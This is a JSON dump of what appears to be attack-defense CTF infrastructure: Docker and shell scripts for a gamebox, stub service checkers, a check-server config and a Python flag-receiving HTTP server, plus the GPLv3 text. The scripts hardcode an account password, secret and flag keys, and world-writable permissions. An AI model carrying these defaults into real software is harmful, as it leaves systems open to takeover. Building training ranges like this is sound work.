[
  {
    "path": ".gitignore",
    "content": "team*\n.idea\n.DS_Store\n*.pyc\n"
  },
  {
    "path": "LICENSE",
    "content": "                    GNU GENERAL PUBLIC LICENSE\n                       Version 3, 29 June 2007\n\n Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>\n Everyone is permitted to copy and distribute verbatim copies\n of this license document, but changing it is not allowed.\n\n                            Preamble\n\n  The GNU General Public License is a free, copyleft license for\nsoftware and other kinds of works.\n\n  The licenses for most software and other practical works are designed\nto take away your freedom to share and change the works.  By contrast,\nthe GNU General Public License is intended to guarantee your freedom to\nshare and change all versions of a program--to make sure it remains free\nsoftware for all its users.  We, the Free Software Foundation, use the\nGNU General Public License for most of our software; it applies also to\nany other work released this way by its authors.  You can apply it to\nyour programs, too.\n\n  When we speak of free software, we are referring to freedom, not\nprice.  Our General Public Licenses are designed to make sure that you\nhave the freedom to distribute copies of free software (and charge for\nthem if you wish), that you receive source code or can get it if you\nwant it, that you can change the software or use pieces of it in new\nfree programs, and that you know you can do these things.\n\n  To protect your rights, we need to prevent others from denying you\nthese rights or asking you to surrender the rights.  Therefore, you have\ncertain responsibilities if you distribute copies of the software, or if\nyou modify it: responsibilities to respect the freedom of others.\n\n  For example, if you distribute copies of such a program, whether\ngratis or for a fee, you must pass on to the recipients the same\nfreedoms that you received.  You must make sure that they, too, receive\nor can get the source code.  And you must show them these terms so they\nknow their rights.\n\n  Developers that use the GNU GPL protect your rights with two steps:\n(1) assert copyright on the software, and (2) offer you this License\ngiving you legal permission to copy, distribute and/or modify it.\n\n  For the developers' and authors' protection, the GPL clearly explains\nthat there is no warranty for this free software.  For both users' and\nauthors' sake, the GPL requires that modified versions be marked as\nchanged, so that their problems will not be attributed erroneously to\nauthors of previous versions.\n\n  Some devices are designed to deny users access to install or run\nmodified versions of the software inside them, although the manufacturer\ncan do so.  This is fundamentally incompatible with the aim of\nprotecting users' freedom to change the software.  The systematic\npattern of such abuse occurs in the area of products for individuals to\nuse, which is precisely where it is most unacceptable.  Therefore, we\nhave designed this version of the GPL to prohibit the practice for those\nproducts.  If such problems arise substantially in other domains, we\nstand ready to extend this provision to those domains in future versions\nof the GPL, as needed to protect the freedom of users.\n\n  Finally, every program is threatened constantly by software patents.\nStates should not allow patents to restrict development and use of\nsoftware on general-purpose computers, but in those that do, we wish to\navoid the special danger that patents applied to a free program could\nmake it effectively proprietary.  To prevent this, the GPL assures that\npatents cannot be used to render the program non-free.\n\n  The precise terms and conditions for copying, distribution and\nmodification follow.\n\n                       TERMS AND CONDITIONS\n\n  0. Definitions.\n\n  \"This License\" refers to version 3 of the GNU General Public License.\n\n  \"Copyright\" also means copyright-like laws that apply to other kinds of\nworks, such as semiconductor masks.\n\n  \"The Program\" refers to any copyrightable work licensed under this\nLicense.  Each licensee is addressed as \"you\".  \"Licensees\" and\n\"recipients\" may be individuals or organizations.\n\n  To \"modify\" a work means to copy from or adapt all or part of the work\nin a fashion requiring copyright permission, other than the making of an\nexact copy.  The resulting work is called a \"modified version\" of the\nearlier work or a work \"based on\" the earlier work.\n\n  A \"covered work\" means either the unmodified Program or a work based\non the Program.\n\n  To \"propagate\" a work means to do anything with it that, without\npermission, would make you directly or secondarily liable for\ninfringement under applicable copyright law, except executing it on a\ncomputer or modifying a private copy.  Propagation includes copying,\ndistribution (with or without modification), making available to the\npublic, and in some countries other activities as well.\n\n  To \"convey\" a work means any kind of propagation that enables other\nparties to make or receive copies.  Mere interaction with a user through\na computer network, with no transfer of a copy, is not conveying.\n\n  An interactive user interface displays \"Appropriate Legal Notices\"\nto the extent that it includes a convenient and prominently visible\nfeature that (1) displays an appropriate copyright notice, and (2)\ntells the user that there is no warranty for the work (except to the\nextent that warranties are provided), that licensees may convey the\nwork under this License, and how to view a copy of this License.  If\nthe interface presents a list of user commands or options, such as a\nmenu, a prominent item in the list meets this criterion.\n\n  1. Source Code.\n\n  The \"source code\" for a work means the preferred form of the work\nfor making modifications to it.  \"Object code\" means any non-source\nform of a work.\n\n  A \"Standard Interface\" means an interface that either is an official\nstandard defined by a recognized standards body, or, in the case of\ninterfaces specified for a particular programming language, one that\nis widely used among developers working in that language.\n\n  The \"System Libraries\" of an executable work include anything, other\nthan the work as a whole, that (a) is included in the normal form of\npackaging a Major Component, but which is not part of that Major\nComponent, and (b) serves only to enable use of the work with that\nMajor Component, or to implement a Standard Interface for which an\nimplementation is available to the public in source code form.  A\n\"Major Component\", in this context, means a major essential component\n(kernel, window system, and so on) of the specific operating system\n(if any) on which the executable work runs, or a compiler used to\nproduce the work, or an object code interpreter used to run it.\n\n  The \"Corresponding Source\" for a work in object code form means all\nthe source code needed to generate, install, and (for an executable\nwork) run the object code and to modify the work, including scripts to\ncontrol those activities.  However, it does not include the work's\nSystem Libraries, or general-purpose tools or generally available free\nprograms which are used unmodified in performing those activities but\nwhich are not part of the work.  For example, Corresponding Source\nincludes interface definition files associated with source files for\nthe work, and the source code for shared libraries and dynamically\nlinked subprograms that the work is specifically designed to require,\nsuch as by intimate data communication or control flow between those\nsubprograms and other parts of the work.\n\n  The Corresponding Source need not include anything that users\ncan regenerate automatically from other parts of the Corresponding\nSource.\n\n  The Corresponding Source for a work in source code form is that\nsame work.\n\n  2. Basic Permissions.\n\n  All rights granted under this License are granted for the term of\ncopyright on the Program, and are irrevocable provided the stated\nconditions are met.  This License explicitly affirms your unlimited\npermission to run the unmodified Program.  The output from running a\ncovered work is covered by this License only if the output, given its\ncontent, constitutes a covered work.  This License acknowledges your\nrights of fair use or other equivalent, as provided by copyright law.\n\n  You may make, run and propagate covered works that you do not\nconvey, without conditions so long as your license otherwise remains\nin force.  You may convey covered works to others for the sole purpose\nof having them make modifications exclusively for you, or provide you\nwith facilities for running those works, provided that you comply with\nthe terms of this License in conveying all material for which you do\nnot control copyright.  Those thus making or running the covered works\nfor you must do so exclusively on your behalf, under your direction\nand control, on terms that prohibit them from making any copies of\nyour copyrighted material outside their relationship with you.\n\n  Conveying under any other circumstances is permitted solely under\nthe conditions stated below.  Sublicensing is not allowed; section 10\nmakes it unnecessary.\n\n  3. Protecting Users' Legal Rights From Anti-Circumvention Law.\n\n  No covered work shall be deemed part of an effective technological\nmeasure under any applicable law fulfilling obligations under article\n11 of the WIPO copyright treaty adopted on 20 December 1996, or\nsimilar laws prohibiting or restricting circumvention of such\nmeasures.\n\n  When you convey a covered work, you waive any legal power to forbid\ncircumvention of technological measures to the extent such circumvention\nis effected by exercising rights under this License with respect to\nthe covered work, and you disclaim any intention to limit operation or\nmodification of the work as a means of enforcing, against the work's\nusers, your or third parties' legal rights to forbid circumvention of\ntechnological measures.\n\n  4. Conveying Verbatim Copies.\n\n  You may convey verbatim copies of the Program's source code as you\nreceive it, in any medium, provided that you conspicuously and\nappropriately publish on each copy an appropriate copyright notice;\nkeep intact all notices stating that this License and any\nnon-permissive terms added in accord with section 7 apply to the code;\nkeep intact all notices of the absence of any warranty; and give all\nrecipients a copy of this License along with the Program.\n\n  You may charge any price or no price for each copy that you convey,\nand you may offer support or warranty protection for a fee.\n\n  5. Conveying Modified Source Versions.\n\n  You may convey a work based on the Program, or the modifications to\nproduce it from the Program, in the form of source code under the\nterms of section 4, provided that you also meet all of these conditions:\n\n    a) The work must carry prominent notices stating that you modified\n    it, and giving a relevant date.\n\n    b) The work must carry prominent notices stating that it is\n    released under this License and any conditions added under section\n    7.  This requirement modifies the requirement in section 4 to\n    \"keep intact all notices\".\n\n    c) You must license the entire work, as a whole, under this\n    License to anyone who comes into possession of a copy.  This\n    License will therefore apply, along with any applicable section 7\n    additional terms, to the whole of the work, and all its parts,\n    regardless of how they are packaged.  This License gives no\n    permission to license the work in any other way, but it does not\n    invalidate such permission if you have separately received it.\n\n    d) If the work has interactive user interfaces, each must display\n    Appropriate Legal Notices; however, if the Program has interactive\n    interfaces that do not display Appropriate Legal Notices, your\n    work need not make them do so.\n\n  A compilation of a covered work with other separate and independent\nworks, which are not by their nature extensions of the covered work,\nand which are not combined with it such as to form a larger program,\nin or on a volume of a storage or distribution medium, is called an\n\"aggregate\" if the compilation and its resulting copyright are not\nused to limit the access or legal rights of the compilation's users\nbeyond what the individual works permit.  Inclusion of a covered work\nin an aggregate does not cause this License to apply to the other\nparts of the aggregate.\n\n  6. Conveying Non-Source Forms.\n\n  You may convey a covered work in object code form under the terms\nof sections 4 and 5, provided that you also convey the\nmachine-readable Corresponding Source under the terms of this License,\nin one of these ways:\n\n    a) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by the\n    Corresponding Source fixed on a durable physical medium\n    customarily used for software interchange.\n\n    b) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by a\n    written offer, valid for at least three years and valid for as\n    long as you offer spare parts or customer support for that product\n    model, to give anyone who possesses the object code either (1) a\n    copy of the Corresponding Source for all the software in the\n    product that is covered by this License, on a durable physical\n    medium customarily used for software interchange, for a price no\n    more than your reasonable cost of physically performing this\n    conveying of source, or (2) access to copy the\n    Corresponding Source from a network server at no charge.\n\n    c) Convey individual copies of the object code with a copy of the\n    written offer to provide the Corresponding Source.  This\n    alternative is allowed only occasionally and noncommercially, and\n    only if you received the object code with such an offer, in accord\n    with subsection 6b.\n\n    d) Convey the object code by offering access from a designated\n    place (gratis or for a charge), and offer equivalent access to the\n    Corresponding Source in the same way through the same place at no\n    further charge.  You need not require recipients to copy the\n    Corresponding Source along with the object code.  If the place to\n    copy the object code is a network server, the Corresponding Source\n    may be on a different server (operated by you or a third party)\n    that supports equivalent copying facilities, provided you maintain\n    clear directions next to the object code saying where to find the\n    Corresponding Source.  Regardless of what server hosts the\n    Corresponding Source, you remain obligated to ensure that it is\n    available for as long as needed to satisfy these requirements.\n\n    e) Convey the object code using peer-to-peer transmission, provided\n    you inform other peers where the object code and Corresponding\n    Source of the work are being offered to the general public at no\n    charge under subsection 6d.\n\n  A separable portion of the object code, whose source code is excluded\nfrom the Corresponding Source as a System Library, need not be\nincluded in conveying the object code work.\n\n  A \"User Product\" is either (1) a \"consumer product\", which means any\ntangible personal property which is normally used for personal, family,\nor household purposes, or (2) anything designed or sold for incorporation\ninto a dwelling.  In determining whether a product is a consumer product,\ndoubtful cases shall be resolved in favor of coverage.  For a particular\nproduct received by a particular user, \"normally used\" refers to a\ntypical or common use of that class of product, regardless of the status\nof the particular user or of the way in which the particular user\nactually uses, or expects or is expected to use, the product.  A product\nis a consumer product regardless of whether the product has substantial\ncommercial, industrial or non-consumer uses, unless such uses represent\nthe only significant mode of use of the product.\n\n  \"Installation Information\" for a User Product means any methods,\nprocedures, authorization keys, or other information required to install\nand execute modified versions of a covered work in that User Product from\na modified version of its Corresponding Source.  The information must\nsuffice to ensure that the continued functioning of the modified object\ncode is in no case prevented or interfered with solely because\nmodification has been made.\n\n  If you convey an object code work under this section in, or with, or\nspecifically for use in, a User Product, and the conveying occurs as\npart of a transaction in which the right of possession and use of the\nUser Product is transferred to the recipient in perpetuity or for a\nfixed term (regardless of how the transaction is characterized), the\nCorresponding Source conveyed under this section must be accompanied\nby the Installation Information.  But this requirement does not apply\nif neither you nor any third party retains the ability to install\nmodified object code on the User Product (for example, the work has\nbeen installed in ROM).\n\n  The requirement to provide Installation Information does not include a\nrequirement to continue to provide support service, warranty, or updates\nfor a work that has been modified or installed by the recipient, or for\nthe User Product in which it has been modified or installed.  Access to a\nnetwork may be denied when the modification itself materially and\nadversely affects the operation of the network or violates the rules and\nprotocols for communication across the network.\n\n  Corresponding Source conveyed, and Installation Information provided,\nin accord with this section must be in a format that is publicly\ndocumented (and with an implementation available to the public in\nsource code form), and must require no special password or key for\nunpacking, reading or copying.\n\n  7. Additional Terms.\n\n  \"Additional permissions\" are terms that supplement the terms of this\nLicense by making exceptions from one or more of its conditions.\nAdditional permissions that are applicable to the entire Program shall\nbe treated as though they were included in this License, to the extent\nthat they are valid under applicable law.  If additional permissions\napply only to part of the Program, that part may be used separately\nunder those permissions, but the entire Program remains governed by\nthis License without regard to the additional permissions.\n\n  When you convey a copy of a covered work, you may at your option\nremove any additional permissions from that copy, or from any part of\nit.  (Additional permissions may be written to require their own\nremoval in certain cases when you modify the work.)  You may place\nadditional permissions on material, added by you to a covered work,\nfor which you have or can give appropriate copyright permission.\n\n  Notwithstanding any other provision of this License, for material you\nadd to a covered work, you may (if authorized by the copyright holders of\nthat material) supplement the terms of this License with terms:\n\n    a) Disclaiming warranty or limiting liability differently from the\n    terms of sections 15 and 16 of this License; or\n\n    b) Requiring preservation of specified reasonable legal notices or\n    author attributions in that material or in the Appropriate Legal\n    Notices displayed by works containing it; or\n\n    c) Prohibiting misrepresentation of the origin of that material, or\n    requiring that modified versions of such material be marked in\n    reasonable ways as different from the original version; or\n\n    d) Limiting the use for publicity purposes of names of licensors or\n    authors of the material; or\n\n    e) Declining to grant rights under trademark law for use of some\n    trade names, trademarks, or service marks; or\n\n    f) Requiring indemnification of licensors and authors of that\n    material by anyone who conveys the material (or modified versions of\n    it) with contractual assumptions of liability to the recipient, for\n    any liability that these contractual assumptions directly impose on\n    those licensors and authors.\n\n  All other non-permissive additional terms are considered \"further\nrestrictions\" within the meaning of section 10.  If the Program as you\nreceived it, or any part of it, contains a notice stating that it is\ngoverned by this License along with a term that is a further\nrestriction, you may remove that term.  If a license document contains\na further restriction but permits relicensing or conveying under this\nLicense, you may add to a covered work material governed by the terms\nof that license document, provided that the further restriction does\nnot survive such relicensing or conveying.\n\n  If you add terms to a covered work in accord with this section, you\nmust place, in the relevant source files, a statement of the\nadditional terms that apply to those files, or a notice indicating\nwhere to find the applicable terms.\n\n  Additional terms, permissive or non-permissive, may be stated in the\nform of a separately written license, or stated as exceptions;\nthe above requirements apply either way.\n\n  8. Termination.\n\n  You may not propagate or modify a covered work except as expressly\nprovided under this License.  Any attempt otherwise to propagate or\nmodify it is void, and will automatically terminate your rights under\nthis License (including any patent licenses granted under the third\nparagraph of section 11).\n\n  However, if you cease all violation of this License, then your\nlicense from a particular copyright holder is reinstated (a)\nprovisionally, unless and until the copyright holder explicitly and\nfinally terminates your license, and (b) permanently, if the copyright\nholder fails to notify you of the violation by some reasonable means\nprior to 60 days after the cessation.\n\n  Moreover, your license from a particular copyright holder is\nreinstated permanently if the copyright holder notifies you of the\nviolation by some reasonable means, this is the first time you have\nreceived notice of violation of this License (for any work) from that\ncopyright holder, and you cure the violation prior to 30 days after\nyour receipt of the notice.\n\n  Termination of your rights under this section does not terminate the\nlicenses of parties who have received copies or rights from you under\nthis License.  If your rights have been terminated and not permanently\nreinstated, you do not qualify to receive new licenses for the same\nmaterial under section 10.\n\n  9. Acceptance Not Required for Having Copies.\n\n  You are not required to accept this License in order to receive or\nrun a copy of the Program.  Ancillary propagation of a covered work\noccurring solely as a consequence of using peer-to-peer transmission\nto receive a copy likewise does not require acceptance.  However,\nnothing other than this License grants you permission to propagate or\nmodify any covered work.  These actions infringe copyright if you do\nnot accept this License.  Therefore, by modifying or propagating a\ncovered work, you indicate your acceptance of this License to do so.\n\n  10. Automatic Licensing of Downstream Recipients.\n\n  Each time you convey a covered work, the recipient automatically\nreceives a license from the original licensors, to run, modify and\npropagate that work, subject to this License.  You are not responsible\nfor enforcing compliance by third parties with this License.\n\n  An \"entity transaction\" is a transaction transferring control of an\norganization, or substantially all assets of one, or subdividing an\norganization, or merging organizations.  If propagation of a covered\nwork results from an entity transaction, each party to that\ntransaction who receives a copy of the work also receives whatever\nlicenses to the work the party's predecessor in interest had or could\ngive under the previous paragraph, plus a right to possession of the\nCorresponding Source of the work from the predecessor in interest, if\nthe predecessor has it or can get it with reasonable efforts.\n\n  You may not impose any further restrictions on the exercise of the\nrights granted or affirmed under this License.  For example, you may\nnot impose a license fee, royalty, or other charge for exercise of\nrights granted under this License, and you may not initiate litigation\n(including a cross-claim or counterclaim in a lawsuit) alleging that\nany patent claim is infringed by making, using, selling, offering for\nsale, or importing the Program or any portion of it.\n\n  11. Patents.\n\n  A \"contributor\" is a copyright holder who authorizes use under this\nLicense of the Program or a work on which the Program is based.  The\nwork thus licensed is called the contributor's \"contributor version\".\n\n  A contributor's \"essential patent claims\" are all patent claims\nowned or controlled by the contributor, whether already acquired or\nhereafter acquired, that would be infringed by some manner, permitted\nby this License, of making, using, or selling its contributor version,\nbut do not include claims that would be infringed only as a\nconsequence of further modification of the contributor version.  For\npurposes of this definition, \"control\" includes the right to grant\npatent sublicenses in a manner consistent with the requirements of\nthis License.\n\n  Each contributor grants you a non-exclusive, worldwide, royalty-free\npatent license under the contributor's essential patent claims, to\nmake, use, sell, offer for sale, import and otherwise run, modify and\npropagate the contents of its contributor version.\n\n  In the following three paragraphs, a \"patent license\" is any express\nagreement or commitment, however denominated, not to enforce a patent\n(such as an express permission to practice a patent or covenant not to\nsue for patent infringement).  To \"grant\" such a patent license to a\nparty means to make such an agreement or commitment not to enforce a\npatent against the party.\n\n  If you convey a covered work, knowingly relying on a patent license,\nand the Corresponding Source of the work is not available for anyone\nto copy, free of charge and under the terms of this License, through a\npublicly available network server or other readily accessible means,\nthen you must either (1) cause the Corresponding Source to be so\navailable, or (2) arrange to deprive yourself of the benefit of the\npatent license for this particular work, or (3) arrange, in a manner\nconsistent with the requirements of this License, to extend the patent\nlicense to downstream recipients.  \"Knowingly relying\" means you have\nactual knowledge that, but for the patent license, your conveying the\ncovered work in a country, or your recipient's use of the covered work\nin a country, would infringe one or more identifiable patents in that\ncountry that you have reason to believe are valid.\n\n  If, pursuant to or in connection with a single transaction or\narrangement, you convey, or propagate by procuring conveyance of, a\ncovered work, and grant a patent license to some of the parties\nreceiving the covered work authorizing them to use, propagate, modify\nor convey a specific copy of the covered work, then the patent license\nyou grant is automatically extended to all recipients of the covered\nwork and works based on it.\n\n  A patent license is \"discriminatory\" if it does not include within\nthe scope of its coverage, prohibits the exercise of, or is\nconditioned on the non-exercise of one or more of the rights that are\nspecifically granted under this License.  You may not convey a covered\nwork if you are a party to an arrangement with a third party that is\nin the business of distributing software, under which you make payment\nto the third party based on the extent of your activity of conveying\nthe work, and under which the third party grants, to any of the\nparties who would receive the covered work from you, a discriminatory\npatent license (a) in connection with copies of the covered work\nconveyed by you (or copies made from those copies), or (b) primarily\nfor and in connection with specific products or compilations that\ncontain the covered work, unless you entered into that arrangement,\nor that patent license was granted, prior to 28 March 2007.\n\n  Nothing in this License shall be construed as excluding or limiting\nany implied license or other defenses to infringement that may\notherwise be available to you under applicable patent law.\n\n  12. No Surrender of Others' Freedom.\n\n  If conditions are imposed on you (whether by court order, agreement or\notherwise) that contradict the conditions of this License, they do not\nexcuse you from the conditions of this License.  If you cannot convey a\ncovered work so as to satisfy simultaneously your obligations under this\nLicense and any other pertinent obligations, then as a consequence you may\nnot convey it at all.  For example, if you agree to terms that obligate you\nto collect a royalty for further conveying from those to whom you convey\nthe Program, the only way you could satisfy both those terms and this\nLicense would be to refrain entirely from conveying the Program.\n\n  13. Use with the GNU Affero General Public License.\n\n  Notwithstanding any other provision of this License, you have\npermission to link or combine any covered work with a work licensed\nunder version 3 of the GNU Affero General Public License into a single\ncombined work, and to convey the resulting work.  The terms of this\nLicense will continue to apply to the part which is the covered work,\nbut the special requirements of the GNU Affero General Public License,\nsection 13, concerning interaction through a network will apply to the\ncombination as such.\n\n  14. Revised Versions of this License.\n\n  The Free Software Foundation may publish revised and/or new versions of\nthe GNU General Public License from time to time.  Such new versions will\nbe similar in spirit to the present version, but may differ in detail to\naddress new problems or concerns.\n\n  Each version is given a distinguishing version number.  If the\nProgram specifies that a certain numbered version of the GNU General\nPublic License \"or any later version\" applies to it, you have the\noption of following the terms and conditions either of that numbered\nversion or of any later version published by the Free Software\nFoundation.  If the Program does not specify a version number of the\nGNU General Public License, you may choose any version ever published\nby the Free Software Foundation.\n\n  If the Program specifies that a proxy can decide which future\nversions of the GNU General Public License can be used, that proxy's\npublic statement of acceptance of a version permanently authorizes you\nto choose that version for the Program.\n\n  Later license versions may give you additional or different\npermissions.  However, no additional obligations are imposed on any\nauthor or copyright holder as a result of your choosing to follow a\nlater version.\n\n  15. Disclaimer of Warranty.\n\n  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY\nAPPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT\nHOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM \"AS IS\" WITHOUT WARRANTY\nOF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,\nTHE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\nPURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM\nIS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF\nALL NECESSARY SERVICING, REPAIR OR CORRECTION.\n\n  16. Limitation of Liability.\n\n  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING\nWILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS\nTHE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY\nGENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE\nUSE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF\nDATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD\nPARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),\nEVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF\nSUCH DAMAGES.\n\n  17. Interpretation of Sections 15 and 16.\n\n  If the disclaimer of warranty and limitation of liability provided\nabove cannot be given local legal effect according to their terms,\nreviewing courts shall apply local law that most closely approximates\nan absolute waiver of all civil liability in connection with the\nProgram, unless a warranty or assumption of liability accompanies a\ncopy of the Program in return for a fee.\n\n                     END OF TERMS AND CONDITIONS\n\n            How to Apply These Terms to Your New Programs\n\n  If you develop a new program, and you want it to be of the greatest\npossible use to the public, the best way to achieve this is to make it\nfree software which everyone can redistribute and change under these terms.\n\n  To do so, attach the following notices to the program.  It is safest\nto attach them to the start of each source file to most effectively\nstate the exclusion of warranty; and each file should have at least\nthe \"copyright\" line and a pointer to where the full notice is found.\n\n    <one line to give the program's name and a brief idea of what it does.>\n    Copyright (C) <year>  <name of author>\n\n    This program is free software: you can redistribute it and/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation, either version 3 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with this program.  If not, see <http://www.gnu.org/licenses/>.\n\nAlso add information on how to contact you by electronic and paper mail.\n\n  If the program does terminal interaction, make it output a short\nnotice like this when it starts in an interactive mode:\n\n    <program>  Copyright (C) <year>  <name of author>\n    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.\n    This is free software, and you are welcome to redistribute it\n    under certain conditions; type `show c' for details.\n\nThe hypothetical commands `show w' and `show c' should show the appropriate\nparts of the General Public License.  Of course, your program's commands\nmight be different; for a GUI interface, you would use an \"about box\".\n\n  You should also get your employer (if you work as a programmer) or school,\nif any, to sign a \"copyright disclaimer\" for the program, if necessary.\nFor more information on this, and how to apply and follow the GNU GPL, see\n<http://www.gnu.org/licenses/>.\n\n  The GNU General Public License does not permit incorporating your program\ninto proprietary programs.  If your program is a subroutine library, you\nmay consider it more useful to permit linking proprietary applications with\nthe library.  If this is what you want to do, use the GNU Lesser General\nPublic License instead of this License.  But first, please read\n<http://www.gnu.org/philosophy/why-not-lgpl.html>.\n"
  },
  {
    "path": "bin_pwn/Dockerfile",
    "content": "FROM ubuntu:16.04\nMAINTAINER WangTsiAo (wang.qi.ao@qq.com)\nRUN sed -i \"s/http:\\/\\/archive.ubuntu.com/http:\\/\\/mirrors.tuna.tsinghua.edu.cn/g\" /etc/apt/sources.list && \\\n    apt-get update && apt-get dist-upgrade -y && \\\n    apt-get install socat -y && \\\n    apt-get install python -y && \\\n    apt-get install openssh-server -y\nEXPOSE 8888\nEXPOSE 22\nCOPY flag /flag\nCOPY pwn /pwn\nCMD [\"/tmp/run.sh\", \"8888\", \"/pwn\"]\n\n"
  },
  {
    "path": "bin_pwn/build_images.sh",
    "content": "#!/bin/sh\ndocker build -t wangtsiao/pwn .\n\n"
  },
  {
    "path": "bin_pwn/checker.py",
    "content": "# -*- coding:utf-8 -*-\n\ndef check(target_ip, target_port):\n    return True\n\n\nif __name__ == '__main__':\n    print(check('127.0.0.1', 8801))\n"
  },
  {
    "path": "bin_pwn/docker.sh",
    "content": "#!/bin/sh\ncp run.sh tmp/\ncp flag.py tmp/\ndocker run -p {out_port}:8888  -p {ssh_port}:22 -v `pwd`/tmp:/tmp -d  --name {team_name} -ti wangtsiao/pwn\n\n"
  },
  {
    "path": "bin_pwn/flag",
    "content": "ctf{please_initialize_this_flag}\n"
  },
  {
    "path": "bin_pwn/reset_docker.sh",
    "content": "#!/bin/sh\nrm -rf tmp/*\nrm -rf chinaz/*\ncp -R ../web_chinaz/ chinaz/\ncp run.sh tmp/run.sh\ncp flag.py tmp/run.sh\ndocker stop {team_name}\ndocker rm {team_name}\ndocker run -p {out_port}:80  -p {ssh_port}:22 -v `pwd`/chinaz:/var/www/html -v `pwd`/tmp:/tmp -d  --name {team_name} -ti moxiaoxi/chinaz"
  },
  {
    "path": "bin_pwn/run.sh",
    "content": "#!/bin/sh\nservice ssh start\nchmod 777 /pwn\nchmod 744 /flag\nchmod 700 /tmp/*\npython /tmp/flag.py & 2>&1 1>/dev/null\nsleep 2\n# rm -rf /tmp\nuseradd ctf\necho ctf:moxiaoxi666 | chpasswd\nrunuser -u ctf socat TCP-LISTEN:$1,reuseaddr,fork EXEC:$2 & 2>&1 1>/dev/null\nif [ -x \"extra.sh\" ]; then\n./extra.sh\nfi\n/bin/bash\n"
  },
  {
    "path": "check_server/Dockerfile",
    "content": "FROM python:3\nRUN apt-get update && apt-get upgrade -y && apt-get install -y \\\nlibsqlite3-dev\nENV PYTHONUNBUFFERED 1\nADD webapps /webapps\nWORKDIR /webapps\nRUN pip install -r requirements.txt\nCMD [\"/webapps/run.sh\"]"
  },
  {
    "path": "check_server/build_images.sh",
    "content": "#!/bin/sh\ndocker build -t moxiaoxi/check_server ."
  },
  {
    "path": "check_server/docker.sh",
    "content": "#!/bin/sh\ndocker run -d  -v `pwd`/webapps:/webapps  --name check_server -ti moxiaoxi/check_server"
  },
  {
    "path": "check_server/host.lists",
    "content": "team1:172.17.0.2\n"
  },
  {
    "path": "check_server/reset_docker.sh",
    "content": "#!/bin/sh\ndocker stop check_server\ndocker rm check_server\ndocker run -d -v `pwd`/webapps:/webapps  --name check_server -ti moxiaoxi/check_server"
  },
  {
    "path": "check_server/webapps/check_scripts/__init__.py",
    "content": ""
  },
  {
    "path": "check_server/webapps/check_scripts/check_example.py",
    "content": "#!/usr/bin/env python\n# -*- coding:utf8 -*-\n\n\n\n\ndef check(target_ip,target_port):\n    return True\n\n"
  },
  {
    "path": "check_server/webapps/check_scripts/checker.py",
    "content": "# -*- coding:utf-8 -*-\n\ndef check(target_ip, target_port):\n    return True\n\n\nif __name__ == '__main__':\n    print(check('127.0.0.1', 8801))\n"
  },
  {
    "path": "check_server/webapps/config.py",
    "content": "# coding:utf-8\nimport hashlib\n\nround_index = 1  # 轮次\nflag_server = 'http://172.17.0.3:8000/adm1n_ap1'\nuser_count = 1  # 数量\nround_time = 5 * 60\nsecret_key = '718c6eb587c81cb0cf6b897148bffbbe'\nflag_key = 'f99d6d799d113f6bfe1375b47acbc072'\nlib = {\n\"user01\": \"172.17.0.2\",\n}\ncheck_port = 8888\n"
  },
  {
    "path": "check_server/webapps/flag.py",
    "content": "#!/usr/bin/env python\n\nimport SimpleHTTPServer\nimport SocketServer\nimport hashlib\nimport time\n\n'''\n\tthis script is supposed to run on the gamebox, it record the flag sent\n\tby the server, and record it to local file system, the normal request\n\tshould be looks like /you_should_not_guess_the_key/04df0f74b98693195d93ac695d51e837\n'''\n\nPORT = 9999\nkey = 'you_should_not_guess_the_key'\nflag_path = '/flag'\ntime_span = 2 * 60\n\n\nclass my_handler(SimpleHTTPServer.SimpleHTTPRequestHandler):\n    def do_GET(self):\n        request = self.path.split('/')\n        self.send_response(200)\n        self.send_header('Content-type', 'text/html')\n        self.end_headers()\n        if len(request) == 3 and request[1] == key and len(request[2]) == 32:\n            flag = request[2]\n            open(flag_path, 'w').write(flag)\n            self.wfile.write('update succ!')\n        else:\n            self.wfile.write('get out! hacker!')\n\n\nHandler = my_handler\nhttpd = SocketServer.TCPServer((\"\", PORT), Handler)\n\nprint(\"serving at port\", PORT)\nhttpd.serve_forever()\n"
  },
  {
    "path": "check_server/webapps/main.py",
